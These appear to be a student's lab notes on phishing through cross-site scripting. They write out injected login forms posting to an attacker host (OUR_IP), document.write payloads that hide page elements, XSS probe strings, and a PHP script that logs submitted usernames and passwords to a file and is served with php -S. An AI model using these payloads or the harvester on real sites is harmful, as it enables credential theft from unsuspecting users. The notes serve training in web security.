5. Phishing with XSS

Phishing is common with XSS

XSS Discovery Start by attempting to find XSS vuln in web application at /phishing

![](/img/Pasted image 20241003213741.png) ![](/img/Pasted image 20241003213804.png)

Once we have a payload we can create a phishing form by injecting html code that displays a login form on the targeted page - form will send login information to a server we are listening on - once a user attempts to login we'd get their credentials.

<h3>Please login to continue</h3>
<form action=http://OUR_IP>
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

 We will later be listening on this IP to retrieve the credentials sent from the form. The login form should look as follows:

<div>
<h3>Please login to continue</h3>
<input type="text" placeholder="Username">
<input type="text" placeholder="Password">
<input type="submit" value="Login">
<br><br>
</div>

Now we prepare our XSS code and test it on vulnerable form.

To write HTML code to a vulnerable page, use JS function document.write() in the XSS payload we found earlier in XSS discovery step. After we minify html code to a single line and add it inside the write() function the final code will look like:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

Our payload is as follows:

'><a%09ONMOuSeovER%0d=%0dconfirm()%0dx>v3dm0s

interesting note about this is that scanning more with the tool we noticed a lot of the payloads that were successfully using XSS started with '> thus

'><script>alert(1)</script>

ended up working just fine

We need to figure out how to stuff that form in that payload.

Another note is that we may want to hide other elements of the existing page to make this more convincing.

 To do so, we can use the JavaScript function document.getElementById().remove() function

To find the ID of the element we want to remove use CTRL+SHIFT+C to open the inspector and click on the element we want

![](/img/Pasted image 20241003214414.png)

document.getElementById('urlform').remove();

Which updates our payload to look like:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();

To clean up some of the original html code use a comment <!--


This alone may raise suspicions to a phish target

Code: php

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>

then serve the file:

stejwes@htb[/htb]$ sudo php -S 0.0.0.0:80